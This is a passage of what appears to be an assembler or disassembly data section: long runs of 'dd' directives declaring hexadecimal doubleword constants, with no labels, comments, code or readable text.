837B4F1Bh, 67035F2Ch, 6B2440B4h, 732A0038h, 58C3B712h dd 0E661E13Dh, 0C0E9A569h, 0F087EC47h, 0BA2F9D00h, 0E6C4A83Ch dd 0DE19000Ah, 1D4061B4h, 0F9C0BB90h, 5E85CE11h, 777D1DE1h dd 0EF2C13AAh, 9C4D3E07h, 7A807ED4h, 284F04h, 36E03B63h dd 4B9003F8h, 0E24EF900h, 54E61E51h, 96493E56h, 3C887200h dd 4CBEFAFEh, 0D30E807h, 4BE0EB6Ch, 0ED8E59h, 0E1381390h dd 0DEEC1C66h, 0B8A5C00h, 32EA5514h, 2CDD000Ch, 0D200F1Dh dd 0F303607Dh, 3909B30h, 63D4D8BBh, 0A3871D21h, 92F9001Bh dd 682A33B2h, 32AB1300h, 72026EC2h, 0BDE80065h, 4835ED8Fh dd 0FA002D81h, 3396297Ch, 3FA42FAFh, 9E00665Dh, 6C9CF990h dd 0A9029773h, 9849DCE7h, 7D21400Bh, 8B510176h, 0B046A08Fh dd 3D807A99h, 28D27237h, 8F7350h, 29457BC9h, 69FDAED7h dd 0D1B0200h, 0C0A30CB2h, 0B6D11DD4h, 931F80A6h, 9BF73C12h dd 70000DE6h, 0A90CCC13h, 0B03E5062h, 120F39B4h, 0E78AC800h dd 0AE2E067Eh, 24656E3Eh, 0B900493Bh, 8B531B90h, 716A0063h dd 0AD54D8CFh, 1E00D31Dh, 138A59C8h, 7C054EE0h, 0F32E00DEh dd 5FD0D7AFh, 0F71DA97Ah, 0A0074425h, 7F87CB94h, 2228DDE6h dd 207CAEA7h, 44261A02h, 3C006FDh, 0B0D89907h, 36E06B2Eh dd 2856680h, 514435A6h, 9007BFEBh, 111EAAD4h, 86600C01h dd 20255004h, 2F50951Bh, 10FD4314h, 0C6EB41E3h, 790599A0h dd 83ABC210h, 0A15BF718h, 0A403BE1h, 9722446Dh, 22829A20h dd 1E3102FBh, 0F301290Bh, 88F4A186h, 0CF60F0DCh, 0CDD62829h dd 4EF20085h, 0F533FA0Dh, 0D3009974h, 78203D5Dh, 1D57D4Ch dd 5A645821h, 204F9ED1h, 7E0F34D3h, 0A013C1B2h, 0DFDA34Eh dd 0E456174Ch, 0EA2100E7h, 666D229Ah, 7F64F43Ah, 14FE3100h dd 55D725E3h, 0AB0A3C5Bh, 12E28080h, 20704657h, 209E092Ch dd 0C52CA07h, 77EA0240h, 0F92800ADh, 0AE0F8287h, 440046B1h dd 1EFD16D6h, 6D77EBh, 0BAAA2AFAh, 0F4D25F63h, 27C2500h dd 350EB538h, 14D30CD8h, 0EE24F06Fh, 0C0DAC400h, 0F31E3ABEh dd 171D06C1h, 60C367E3h, 3F7DC800h, 26D0F51Bh, 782E01D5h dd 0D25C9DB9h, 6977C87Fh, 0A9367D00h, 0CDC3B50Dh, 15590034h dd 5A435E57h, 521DEA8Fh, 230EE205h, 0C7BE0098h, 0D9141Fh dd 39613F11h, 0E46AB542h, 354A1D09h, 0AD6C8001h, 0F0A8Eh dd 2DB1C21Eh, 58A25B4Ch, 9600227Bh, 0F8DFA388h, 3AB867A9h dd 170EB057h, 5A6F181Fh, 45268900h, 843F5174h, 0E7DE801Ch dd 40B8EEC8h, 3D093CD9h, 0B170CE80h, 0B0F9133Ch, 8073E239h dd 9679DF1Dh, 2E8D8883h, 1E7CC566h, 4C9C8072h, 302E2840h dd 80EED700h, 22260D6Ch, 0C6720020h, 24941FB2h, 60063E5h dd 8EBAE31h, 0FEF569h, 0B968A792h, 0B46A273Ch, 4CBB6B00h dd 0CBA48353h, 10FB04Dh, 5AE63F77h, 208CA6DFh, 46001BE4h dd 0ACD9B96Eh, 28A1ABh, 5AA40BFBh, 518B70EEh, 4999E307h dd 60F0D820h, 7895C0Ch, 0C83A1B86h, 0EF8CA117h, 0C2D8F8D0h dd 0A952A40Eh, 385B6058h dd 35771B6h, 0E03A7F80h, 0EBA0E28Dh, 0CF006853h, 71A39135h dd 1A91187h, 6F0D06DDh, 0FCC5CBD3h, 0EE17D817h, 0C001B4B2h dd 0E99C66B5h, 0B7ED20h, 1542766Fh, 0DBC19AD5h, 0C593E000h dd 600A51D6h, 3A7BCCh, 2915FD18h, 0C22FEDE9h, 6AF77100h dd 0A58EE63Ch, 27D903C7h, 9B3E1D20h, 3D695800h, 0C1AF7197h dd 65F2BFh, 25ECCF6Dh, 8BCB4EBh, 134F7D00h, 5B0976DBh dd 69D400FDh, 0B1595438h, 14B0E2F3h, 0DE1EFE0Ch, 81191h dd 1DA12239h, 4B795D82h, 0B8F97A00h, 0F485BAACh, 0F7B90h dd 0BB7C9108h, 0FA5CAF31h, 3EBCD607h, 0C660CEE1h, 7898D9h dd 0A644133h, 6E5BF088h, 7BDE0F1Dh, 26006D2Ch, 7C85365h dd 0A5200AFh, 5C76B0B5h, 9B0EA19Ah, 0E01AB33Bh, 52BDCD4Ah dd 0F0E40393h, 589FC20Fh, 61BA1FD8h, 32C0AE00h, 27EF898Ch dd 0C22E00ACh, 2CC5C35Dh, 6E011F74h, 64D8115Bh, 50F45485h dd 26481Ch, 5EA08EEh, 1DA60BEh, 9A00604Bh, 596729E8h, 0C30AFB5Bh dd 719BC1Ch, 0F5845CF0h, 21E40F07h, 0ED26E397h, 8A433C20h dd 662F1080h, 5C5FC8Fh, 687A58h, 3059EDD2h, 0FE1F77h, 635A956Bh dd 0E1A154F2h, 7EF9EE07h, 0C40B115h, 2434D4h, 8E5B7231h dd 4065409h, 354B2300h, 267A7450h, 0CB2439C3h, 7259DD00h dd 68635FC8h, 2153600Ch, 912834h, 39BC0590h, 667EC992h dd 9400F898h, 8D03A67Ch, 3CD4B6EDh, 3FC4AAEh, 0E00A90BAh dd 0F8A85D75h, 0B1F80582h, 23B26700h, 3C79EF14h, 5E5F1FF9h dd 3FD5C0A9h, 0C14B34C0h, 15DF8600h, 94FEFFE5h, 0CC40189h dd 9A4C5ADBh, 3EBFC8F1h, 69163D00h, 0C0EF9EB1h, 24654928h dd 0D5E84809h, 2BC06A8Fh, 0E58702CDh, 44DDA00h, 2C4B3695h dd 0CCEC182Dh, 7BCBB293h, 54053Eh, 8D421677h, 755DA2D5h dd 1B800070h, 32089F58h, 9A2D1CD6h, 23F560A7h, 0F89B0019h dd 91372254h, 0EE0183DCh, 74389056h, 0FEE8D0D5h, 0F8C500ADh dd 8481D604h, 0A3012594h, 4EB0200Bh, 6E70F43Fh, 0BD0300CEh dd 189D48ADh, 0D492C5DBh, 4DF02801h, 8067E698h, 0A668CCh dd 26EF5BE2h, 661F630Dh, 0BA65180Eh, 9ACEC5h, 0F105DC98h dd 221B3E49h, 45EE7180h, 540AFE97h, 4EE2A300h, 0B5BC0F95h dd 0FC2B1C73h, 0C0AB80BDh, 0B8643FF6h, 7CFB781Dh, 515EEC80h dd 1CE87F9Dh, 6086EEh, 0E6D2A699h, 3D006C25h, 3C1662BEh dd 7012D4h, 48F828EBh, 5CC018BFh, 60481B51h, 9EF00396h dd 9322D100h, 0B9BC2C06h, 14F202h, 0E544509Bh, 0C547823Fh dd 685EDA00h, 0AC3A704Ah, 6160C71Ch, 7B902195h, 0E1E8EF58h dd 18F41AF3h, 8A1DB30Fh, 4F158080h, 58A4C1E4h, 0BC12A898h dd 79610EB7h, 0D28E6FC0h, 70000BEFh, 63536CE2h, 17EE0A1h dd 0B64F97B8h, 7081501Ch, 3B0905A2h, 8376A490h, 0A8F0496Dh dd 0DFD563h, 8CE3D42Eh, 0FA23F8ABh, 5C620200h, 0AA3C39BDh dd 75297EE2h, 0DF200D3h, 0B16178B3h, 0A803D773h, 2E34093Dh dd 0E85A8BD6h, 276B32h, 0B0D8C1A6h, 0C64006FBh, 9AC01900h dd 740DC834h, 0F27D009Eh, 8C21E833h, 32002CF4h, 0C122CD5Bh dd 3B5DD6E2h, 0F6016365h, 51A625EAh, 0E13030B3h, 0F7F6C47Ch dd 2CACF0Ah, 0E4A8B430h, 0B6435200h, 73A0FB2Fh, 0AF630094h dd 6C2CD945h, 5B76FCE0h, 0FF77C300h, 0B55F3C8Ch, 0F41900A9h dd 550C7446h, 0D900AD30h, 9D663A78h, 0F4CCEB1Dh, 38A0098h dd 9596ED5Dh, 0D01ED45Eh, 5F40C70Dh, 5041795Bh, 0DE9C00C6h dd 0A4EE9107h, 22008ACEh, 1CC84EE8h, 0FA6732BDh, 543B00CCh dd 303D6361h, 660160C3h, 90651B76h, 0F5EC103Ch, 0B5860009h dd 0CBE96FF6h, 4CC013FCh, 4D662E24h, 944000DDh, 10E8B0E5h dd 9C13B75Ch, 0C00646Eh, 0C19005CFh, 3E330043h, 0D5D979C9h dd 3F07F244h, 22CEF40Fh, 0C3008A77h, 840570h, 326FE6BAh dd 0AD25D35h, 15336C00h, 255B694h, 0F57A0084h, 0B24E7D45h dd 0A800F705h, 24C2C5A0h, 58985682h, 9B0190BDh, 0C4E98CE8h dd 0CF93D81Ch, 75ED2900h, 8119535Ah, 0D67988h, 51BAECABh dd 0D2EECD2Dh, 2C764F0Fh, 6003CE6Fh, 122FACC6h, 7C10BE6h dd 30A0BBCCh, 378C1BA3h, 50FEEF00h, 473349C7h, 7FB60F77h dd 0EE20D8C6h, 8BE2D22Dh, 0F0FD1B76h, 0E0006157h, 0A5446A22h dd 264EAAh, 0FB1BC712h, 6D10EF80h, 2DE6E112h, 0C6F10400h dd 1DC024CDh, 805AD987h, 5EEEEBCEh, 0A2240821h, 8B3CC40Eh dd 8091EC6Bh, 98F65204h, 4870EB4Fh, 5B7E01A7h, 0C02B1732h dd 0D0B1CD78h, 69008966h, 7563E2C6h, 1CDA997Ch, 94E58EEBh dd 851EBDCDh, 59013A56h, 0CE407302h, 0A762FC68h, 3EB63B01h dd 55EB7988h, 0D99060h, 1C315032h, 0DA3F7792h, 0A8820F00h dd 0E0CCF553h, 5B9600E2h, 1FD94755h, 0FE0029A9h, 0C02038E3h dd 0E28FBAh, 9ED09861h, 0E17AF26h, 0F7E0D107h, 0B4BACB40h dd 0C76AD300h, 0F44396Bh, 0E120EB4Ch, 0D5570900h, 2D00D628h dd 0FA6A9012h, 6C5FCFh, 51336FE8h, 1046736Bh, 3C27DC00h dd 83CFA484h, 6AFC0396h, 85D212D6h, 73F7488h, 38EC5B04h dd 0A0C0BE39h, 5333E1Eh, 61C2A83Ah, 6B5E804Dh, 5A0058C6h dd 9BD6F28Dh, 5951Eh, 0CA749D9h, 0C529C282h, 6374D00h dd 57B9F84Fh, 0E77FA0h, 5F1D6A77h, 851418F5h, 0B6663800h dd 0E41E177Ch, 4E46009Eh, 0D46CC4ACh, 0B9004C32h, 0DBCE63D9h dd 7FEE21C1h, 99A91EE1h, 0F3854F16h, 7E188E23h, 0CA1E4998h dd 1B00C37Bh, 0A16881BAh, 4760932h, 3799E3F7h, 0B9D8062h dd 4D07FC07h, 6252C49h, 1BFD583h, 9599D2DCh, 70C95667h dd 9E01EBADh, 93DB3D03h, 0C040D180h, 7A7FDCA8h, 5E7107CDh dd 59149F33h, 0AFA1CA80h, 0F016A58h, 0E5E26B76h, 82E81799h dd 0A5AB004Fh, 0CE8AA665h, 0CC7D21A1h, 0B8EF5A00h, 54EDF2E7h dd 5070230h, 0CAB99A67h, 3B5ABC80h, 0F009B1Fh, 0C7557D8h dd 1FE5D231h, 0C6D081h, 431A7F79h, 720064C5h, 0E3B6A52Dh dd 0B29812h, 0A18A6606h, 0B58222D3h, 0CCFCF904h, 2800B3F5h dd 0ED08654h, 9E815A0Fh, 0D6C4E075h, 0B5E04Bh, 0DF8DF08Ah dd 0E8D2F9CAh, 1EDE93Fh, 0DDF69E65h, 3C43186h, 64EA0062h dd 6B69E16Ch, 460207E4h, 1D92765h, 0CE04E012h, 1868008Dh dd 83E541EBh, 1C00F03Eh, 0C7BC6027h, 2EDB64h, 0AAEB5046h dd 1831208h, 7524490Fh, 9B9205Eh, 37C6BACh, 31F94C56h dd 8C9866D9h, 0F8E6A2CBh, 0C41E58h, 268FBA0h, 3AF30F72h dd 26FFEC07h, 7B7C6h, 2F9CDC4Fh, 2E0005C2h, 316F19B6h dd 0E349D4A2h, 0EC98D070h, 6E1800A0h, 6D4D89C4h, 9F0008EAh dd 4F2752A9h, 708BEDh, 1F10BA2Eh, 3514C7A1h, 0BB55B700h dd 0D8F332C1h, 0D2660F22h, 25025781h, 2C0144ACh, 68EAE1CAh dd 0AE0A7E8h, 0E9FC0954h, 7E3800B1h, 0BDB725D8h, 0E1024700h dd 0CC899D5Ch, 7A6A2496h, 22803BF4h, 78C70874h, 2826C383h dd 76044850h, 74B10EFCh, 7BEEC8F7h, 73F648h, 0A9D9DD71h dd 9ED59AD6h, 0E1FCB101h, 667F452Fh, 0FCBFCh, 514386A7h dd 3A943EEAh, 0DE4D841Dh, 59A1CFh, 0F77C8E10h, 9BF9055Ah dd 39DD5Fh, 45E8BA94h, 9C09EC09h, 800B1532h, 34486D78h dd 0EDD300AEh, 14977283h, 0E1016BB9h, 0F363E62Ah, 6880EFA6h dd 0ACBD0822h, 98095E51h, 20AFE75Fh, 0CA7BF414h, 453E001Ch dd 0E194FFA3h, 0C8006FE4h, 5F8C6A1Eh, 124B8BA4h, 7BF0Ah dd 0D154202Ah, 0B900B2E9h, 7083306Dh, 0C59F49h, 9093E269h dd 0BB621925h, 0E71CBF03h, 0E48677Dh, 0E8D1F430h, 160F4E80h dd 7C1665EEh, 8580CD2Ch, 7860D5Eh, 9EFAAFE6h, 0C5FCBB71h dd 5BDF5700h, 87D550h, 0B5C0BB81h, 0D949BDC6h, 0D3B3D100h dd 94C7432Dh, 27EE005Ah, 0FD3EE63Dh, 0A20005D4h, 4344D8CAh dd 7D9A30h, 50BEBF6Ch, 0B4D38BE3h, 0C800D174h, 91CA3A83h dd 730FC67Dh, 0BD720018h, 0E0999EDAh, 0DFF0E68Dh, 0EA508E78h dd 70004889h, 2592A094h, 0EE22E9FFh, 0DB851C51h, 9A3C001Fh dd 77E73D54h, 0B2B46950h, 50762C00h, 0B5D490A6h, 0F76524A2h dd 6D64604Ch, 793C7FC9h, 806692B9h, 7D269880h, 671B0036h dd 1ACCD017h, 6501F157h, 16E60994h, 0E1CCDA97h, 80590032h dd 0B1466955h, 7A0F52F8h, 80B4E4F2h, 3B627940h, 0AF1C3CFDh dd 33274100h, 35218824h, 86C45003h, 98935A92h, 1095Fh dd 0C0F84D7Fh, 1A07559Fh, 80B1C87Fh, 1D908782h, 0BF64C021h dd 1BCE05F1h, 0D7D7D91Ch, 0DFC8050h, 0F202145Bh, 5F8F86BEh dd 78D46134h, 3E7C01E0h, 0C600DEEAh, 2589F9B9h, 3A0092C2h dd 0EC944A6Ch, 77476B22h, 7F20EA0h, 65E059C0h, 0CF2A7541h dd 0B9D66907h, 93E2E3D8h, 1BC8409Bh, 0C36A00C6h, 0AE1D8FECh dd 0A4003C84h, 0AB8869A8h, 0D29F21h, 0F5B5B775h, 0F3246A4Ch dd 0BBC43E12h, 7A31B080h, 0B4CA00E7h, 0A4BFF603h, 82004B5Ch dd 0B353BE04h, 3E67331h, 933AF884h, 0E09CD54Ah, 141FABC8h dd 901D30D8h, 2E7E8500h, 0E99179Ah, 0B461A5FFh, 8C547DA0h dd 0F300E5B2h, 0EBE1F6E3h, 0FA5DEAh, 0E87A73AFh, 44A7589Dh dd 33567E14h, 89C13D0h, 2F905C67h, 0D48F60h, 0E1123457h dd 99FCCA63h, 0BEA1A000h, 0A3522A3h, 0DF3F00C1h, 0F3697E37h dd 2003048h, 1DD6D4F9h, 694274Bh, 0B83183ACh, 65006832h dd 0B216DB2Fh, 1C1C3ACDh, 250E5B9Fh, 5AE4D880h, 11001ED0h dd 0BBA9609h, 90FFE73h, 0A720B41Ah, 0F0E63481h, 0F7B7DCC6h dd 0F60EC2FCh, 5E2FDFh, 8D063C11h, 0D6F8004Ch, 0DB18CB61h dd 8F07206Ch, 4E8EA493h, 7EA8630h, 31420163h, 6CA952CBh dd 0C1602088h, 0B9966F17h, 56D8A1C1h, 8345DCh, 0D17BCFF1h dd 0EFD1740h, 664FAF09h, 90E800B8h, 9699ACh, 11956D70h dd 73461947h, 0E49F48h, 0AFD0A8FBh, 1BDDEAh, 433F8CC7h dd 735570DFh, 0CE92150Ah, 4B00BA7Bh, 4817729h, 4E4900BBh dd 959D3B7Ch, 790008C0h, 2D68BAF7h, 0B8A962h, 0DC3B2CEh dd 0AB29AD0Ah, 15255900h, 8A4BF598h, 1F6C78CAh, 41746465h dd 0B69292Fh, 4052ECF0h, 99EF1D00h, 0D1C01F14h, 5451005Dh dd 0AA05FBDh, 0E000B7B9h, 74E2A49Ah, 52C4D9h, 0BC2DF5F8h dd 7323333Bh, 5001D5F6h, 105775D1h, 0A7DC9222h, 490E0031h dd 0D525B643h, 0EE00CF1Ah, 4C1F45CCh, 0E853F2h, 0FD93B838h dd 0C7A676D6h, 20690E1Eh, 8536A500h, 544FD0h, 517D5998h dd 2C5BBC9Fh, 5F2677FCh, 5314BB91h, 94B000CCh, 358BDD68h dd 194B802h, 4C7D9042h, 0E46FAA89h, 0E1001E5Ah, 0ACDDA715h dd 30918A6h, 6591723h, 0EC1897Ah, 7337C49Fh, 0DBC2E300h dd 5758E043h, 1B8A0067h, 9B40F265h, 0AA004153h, 0D6DD88CAh dd 0C2C45Bh, 0C79558Ch, 0E572B443h, 0ED691324h, 0C1C71F01h dd 0AF2005BBh, 71D01D1Bh, 29C24009h, 0A9454659h, 4DE4BD03h dd 9AC3C4F7h, 0A278C80Fh, 0B3A40080h, 0DC8ACC67h, 7BE46D3Ch dd 97B01B00h, 0C2539905h, 0CFDD01A0h, 0ED43E010h, 683C71h dd 940AAA15h, 0E811EA9h, 7A7F23D7h, 0DAD5DE1h, 0F99CEC95h dd 270A0100h, 1862057Ch, 84F1008Bh, 75B2C13Ah, 5C0117E0h dd 0A50BCA34h, 0ACDCC2F9h, 0EFBF0255h, 0D0364C64h, 49688C80h dd 7B483456h, 0DC4501A9h, 16043199h, 0F42D38F4h, 62DE0043h dd 0ED0E9705h, 0C5054AFAh, 9B633C7Dh, 0B196DBC0h, 0AEF100F7h dd 0CAB5A8B3h, 0F4CB741h, 0B00E7008h, 80C889B6h, 76A11A13h dd 85FD072Dh, 3EBADCCEh, 8C89F6E0h, 4400F2D9h, 63CD93D6h dd 0A85853h, 0FFE91DDAh, 2A0CF94Eh, 51276C09h, 0B4540070h dd 5F345Dh, 5B78A6A8h, 5CB9ACC2h, 0AA1D25FCh, 46400D40h dd 4B08688Eh, 13A4032Ch, 0D356FBE4h, 0BC36E6F0h, 5A001CECh dd 0EF6389F1h, 3B834B0Fh, 4D87207h, 0E61F9200h, 3FD7AD4Fh dd 767BB40Eh, 2DB9E057h, 0F0AE89h, 69EC6FF4h, 3EAFCEE1h dd 0E07B1C07h, 2B5009A5h, 0FF3954Eh, 0BA985608h, 428B1098h dd 3DEC2E00h, 6AE1F0ACh, 379E055Dh, 506CE4h, 3ED14EA4h dd 273D4284h, 9EECD953h, 2C510078h, 83D9C6FCh, 57142ECBh dd 0B57E09BAh, 7179100h, 45007315h, 1F6B1054h, 1AA157h dd 98ACB15Ch, 2CAF3B2Dh, 8C355901h, 7AAB2A2Eh, 0CD8010BEh dd 3A681E48h, 2600EE66h, 0F0A964B9h, 74192h, 1CE79B75h dd 4372BD19h, 0F8130B74h, 0C20746D4h, 7750B5D6h, 3C1D5B5Ah dd 11859437h, 0B0C0F249h, 36018D24h, 0E540AFB2h, 0C7D80670h dd 86CD0127h, 690FB0FBh, 54726Ah, 1B4526CAh, 2C549153h dd 3F8ABB7h, 0D76DC869h, 402793F8h, 5639F605h, 0C0006F3Ah dd 5A4E0D24h, 2D1A02B1h, 65339B06h, 3C1BCCE0h, 44A4DE54h dd 0E409BE7Eh, 137234h, 98E37F74h, 972502D4h, 670B1DFDh dd 61E68C68h, 0B2EF8600h, 5A139B11h, 0E8CA3C66h, 1CC9F900h dd 0D436E31Ah, 89EC863Bh, 0C068E95Bh, 0CA4D030h, 2FDAC98h dd 0D8EE3A9Ch, 483E9775h, 591187B1h, 9623479Bh, 3CC0F495h dd 44D6EBCh, 932817B5h, 0F49EC2C7h, 74D73B60h, 0F3044872h dd 72C93E3Ah, 9A900387h, 0F965EDh, 26522854h, 582B01F8h dd 6BF53007h, 5B2023E0h, 7DFC5Ch, 60EE8366h, 393E9D37h dd 425A6100h, 554F064h, 3401FC7h, 523103B3h, 4FE08CC0h dd 360BF793h, 877362E7h, 8FC00D78h, 37AA183h, 91094D4Eh dd 0CB8B81B2h, 0C32042B0h, 38C9900h, 1BE685F0h, 0C43A1DDDh dd 77FF810Eh, 70CB6A8Ah, 0D103F614h, 81AB2230h, 0DE57D8D6h dd 0C5B6509Ah, 3243EC5h, 747BB981h, 0C3EED8D5h, 0C6F749A0h dd 0DE03ACFEh, 0FAAAF3D1h, 184BA8CFh, 0EDA70059h, 22C3BEF2h dd 8CBEFC73h, 1197E160h, 3F47EA8Dh, 5808010h, 0EBF1308Ch dd 0CE3090F6h, 489CDCE9h, 503C9027h, 0C7EFD0h, 99D6F9BFh dd 2635A29Dh, 0D4FB8A02h, 403953A0h, 592BCEh, 0F4E14EA8h dd 7ABA28E2h, 9F151916h, 92946804h, 0B7C060A8h, 1628B331h dd 0A168A8A0h, 7172CC03h, 0E1E3Ah, 64AB3150h, 56066A7Fh dd 22073Bh, 4C8139D6h, 9A20F5h, 74295D49h, 122C0573h, 0A6038A17h dd 8FC90205h, 8780F31Dh, 3096D7D8h, 0FD10004Dh, 89FFEF25h dd 49003397h, 0C89F883Fh, 0EE620BE2h, 28B83Dh, 6F206ABAh dd 1D4EA7C2h, 0FB83170Eh, 594C20DAh, 4724FD9h, 645DEAB1h dd 2E4B800Ch, 4500888Bh, 1703770Eh, 1D4E7D5Ah, 801BC713h dd 6F603A26h, 98001867h, 77CF1931h, 1D1191h, 0D7F36ABBh dd 5C066855h, 66AA8A00h, 8031974Ch, 3FFC00EBh, 0DA1965BDh dd 270E32B9h, 0A1E04EA2h, 483BA6F8h, 4576FCh, 0ADB97459h dd 0B8844449h, 4F11D800h, 9D641FEAh, 0FCF2005Dh, 7B0D6B88h dd 0BC1F0BF5h, 79972977h, 20635E03h, 0FBD9D0C1h, 32A500ACh dd 0B87F21D8h, 6B1D2CFDh, 0E3808B58h, 59EF2E34h, 9083006Dh dd 0CFF3BA78h, 8AEA11AEh, 33009E7Dh, 1E926458h, 219741h dd 3BEDCBF9h dd 8E2620A7h, 6B90D103h, 1547A2Fh, 46D7EB20h, 0D46A17ACh dd 79005E7Fh, 0D813B190h, 40D988h, 1E411B44h, 7D312072h dd 92009890h, 0BB09FF23h, 0E61671h, 3F469F34h, 15F3E999h dd 2C077500h, 7B86724Ah, 2E473808h, 6F168100h, 0FB05D9F5h dd 0C69F0A00h, 620C075Ah, 19750025h, 4C5DD13Ah, 0FB01978Ah dd 0BAE79A0Dh, 21D82F1Ah, 305F3DB7h, 67BC7900h, 0BFFAF637h dd 214BA03h, 8883EA17h, 7C15E51Ch, 51AA079Bh, 47A0996Dh dd 0CC1133D2h, 0E8FDBE81h, 2E005A50h, 0CDB8BDEAh, 0C63C25h dd 90940931h, 0A454E4B4h, 0B026611Ch, 7F583FC1h, 88600689h dd 767BF0h, 0F2739E34h, 15146659h, 78B74C07h, 0C4E3D828h dd 1AA2D155h, 0FB023839h, 0FF637D58h, 8E41858Fh, 46463662h dd 14941CBCh, 0CF67D400h, 11AAEB5h, 6B5996FFh, 0F1746838h dd 0A2BAE442h, 6500EB75h, 5B9BA515h, 13FB5880h, 2C273A6h dd 1A6D97F2h, 0BB0A040h, 6CD28200h, 7F08A3B1h, 0C3451DEEh dd 21AD0097h, 0AFC1D902h, 0EC243701h, 7858F774h, 0DC1E20h dd 71D23F50h, 7030A65Eh, 5F8219C7h, 6E399580h, 53D702A5h dd 0FC9306D1h, 1B001CD0h, 0A0E4F2Ch, 0F8E4EF65h, 0FA7D00DDh dd 0CD9CB8E1h, 0A25D2DDFh, 0C0BA06C4h, 0E395EF5h, 0F92A9FD0h dd 9D00A154h, 261FBF88h, 0E7036702h, 0E9E597B0h, 2887C00Fh dd 40A767D4h, 0BEF883h, 5047C1EFh, 3C2096h, 4AB91F7Ch dd 708F011Eh, 0CF18B6FCh, 9A30AF0Eh, 1ADA3157h, 0DC7D8249h dd 8B30E438h, 9AE25148h, 0D6A005B2h, 0EE1064D2h, 96C4B0C0h dd 1C7D00A3h, 0C8A93FA7h, 3D00EB9Fh, 0BA47AE54h, 330450Bh dd 80DC9A2Ch, 0BC170869h, 0AE0175F0h, 0C5D44C6Dh, 1F23BE4h dd 5A943EB9h, 0EE2A3987h, 8A6F55E0h, 0ECAE9002h, 5DC67620h dd 23D7B402h, 0CF959882h, 0DD2EC460h, 1F380200h, 62B9DB10h dd 0CC200750h, 0C1BC8046h, 7430C141h, 0DA0065D8h, 10898687h dd 1DBDC47Fh, 13B24E63h, 0EC908091h, 227786A4h, 0A000BC76h dd 0E2E49B74h, 261DD6h, 8C0FC65h, 0AD3D814Fh, 583AEA00h dd 3C8894CBh, 20703Eh, 5184F8DFh, 8708924Bh, 0E0B4B751h dd 2B181B8Ah, 432E0C3Bh, 29C02AD1h, 6BD0C0B0h, 5076BE27h dd 25005892h, 0CA84A3FAh, 1DCEF005h, 19E90BC1h, 0F4D4319Ah dd 831D59A3h, 90C0091Eh, 9D3BD00Eh, 3764014Fh, 0DA67F454h dd 0FB06F0B6h, 0E282F200h, 0C917EB9h, 5E60062Ah, 0B0E19802h dd 549A9480h, 72BF7303h, 901B81BCh, 0D52297h, 0BD18C4EFh dd 0E849DBB6h, 8B7E9000h, 0E2BC6B4Ch, 0AB44019Eh, 0B78F84F6h dd 0FBA02BF4h, 41F201h, 0CAD023B2h, 4499D880h, 8C0C670h dd 11FD36ABh, 5020091h, 60F58324h, 0FB06524Bh, 0E706E99Eh dd 0DDC91F28h, 7A73C9ADh, 49AB4206h, 0E1B72600h, 0F57A6E6h dd 0C8EA00F3h, 0C15E140Bh, 0D1988CD2h, 0B1017C7Eh, 0B2B46424h dd 0BE00F75h, 72FCB096h, 0CEA80F4Fh, 988108A5h, 20357592h dd 5E0FC16Eh, 0E1F71C88h, 0E20706D5h, 9414F0h, 0AC01620Ah dd 58DFFE86h, 0F98BD30Ah, 26078009h, 0EFE002CFh, 67E7A956h dd 0F072A8B5h, 65C9BC10h, 0B8B3EA09h, 436205E6h, 8F488F0Fh dd 0CE6400D9h, 0EA2C398Dh, 0F5DB0167h, 8BF25017h, 0C4F183B4h dd 8B1FF872h, 0EB104CBFh, 0D7528300h, 0D06DC36h, 0FE821502h dd 605B58F3h, 0F534ED9h, 631181AAh, 7106C749h, 0E2005828h dd 4AFA8374h, 1CA58FA8h, 0DF4964CEh, 1375C0E3h, 60CF4B53h dd 22FDBD01h, 37DB8534h, 0F1269760h, 0E7ADA0DFh, 0D74F005Dh dd 1153CF08h, 9D078D2Fh, 10EBDC4Bh, 84853B30h, 29D86057h dd 1282310Ch, 0F4348F00h, 0C48B2579h, 0F0130168h, 0FEE94439h dd 4A38F81Bh, 0AAF2C500h, 0B4A1FF46h, 5BDA008Eh, 7F72FC2Bh dd 0D50002BBh, 437BD97Dh, 8192A7h, 0C3F49609h, 178FC0FBh dd 0AEBF2E00h, 0A6C940A3h, 73D80059h, 0D3E046E3h, 683CF7ADh dd 7BDF8067h, 4B2290FEh, 0BBB41D6Dh, 7FBEC331h, 74B86E0Ch dd 1400ADCCh, 0FAFB732Fh, 0A377D2h, 4892A445h, 0B7882604h dd 8BA04D00h, 979E274Eh, 9DB00011h, 0E7D866F0h, 1500E0D6h dd 0EAD4EB8Ch, 6FB34Ch, 314D350Ah, 0FD85A7DEh, 8F954800h dd 334CA9BFh, 0F47A00FAh, 0D064FF74h, 487410ABh, 7928D900h dd 47597894h, 577097E4h, 0A9750500h, 14679F80h, 99FEC5h dd 0F9296F23h, 0E21F4DA6h, 7B51000h, 331DC3FAh, 0E066018Ah dd 0F99E4AB2h, 0ABCCE8DCh, 57B1C200h, 0E2FE0121h, 0C2846022h dd 919E465Fh, 59A86B00h, 0EA9881E3h, 2BC9006Eh, 0E0D53DE1h dd 0D90B18E4h, 87034501h, 2EF013E8h, 0F299B86Bh, 0E34100FCh dd 0D83E28E0h, 653B0845h, 0BF101E7Ch, 4A537D40h, 67368E4h dd 0BE0A074Fh, 0F07C2949h, 10EC4B14h, 0DB0070ECh, 8A6D614Fh dd 0EA8295h, 456B269h, 0E63950FEh, 68212D00h, 0B84D406Eh dd 0E1E872h, 0CDB77BBCh, 27377F39h, 0F200C97Fh, 527D9E66h dd 75B5FB2Ah, 65DF0143h, 321EE0E7h, 678D40EAh, 203B449Fh dd 0B8D003CDh, 8B05EC2Ah, 0E031A8E3h, 0F9D70026h, 0BFA3EB93h dd 0AA004EDDh, 3A3BF180h, 1D457ABAh, 9FAC370h, 0FDD5C62h dd 0D5238081h, 0B3D5Fh, 978DB97Dh, 1EC11855h, 385B6000h dd 0E02E64E9h, 0B0E4A346h, 5C3D84FCh, 0B902B7D4h, 21EB3867h dd 0EC7CDA61h, 8F036FF8h, 0A5867039h, 5F0C0BFh, 884400EAh dd 0A41E5A0h, 4B01AC76h, 0C1FB4013h, 0DF30733Fh, 0EC25E472h dd 0AEC3008Dh, 7BD7FC56h, 8800787Ah, 18AA0F3h, 7D8BE848h dd 1F4179BBh, 4061125Eh, 2A111D9Dh, 0A8004FC4h, 981F3B99h dd 8A6496h, 0B25C8CC0h, 4722A731h, 0B4629F2Ch, 0B80D0400h dd 0FC8740h, 249623C4h, 433E5C85h, 804B973Eh, 0C291FF22h dd 0CAC058h, 11E03A2Fh, 4EA65D61h, 502A0F3Bh, 0AD0EF18Ah dd 609A0B63h, 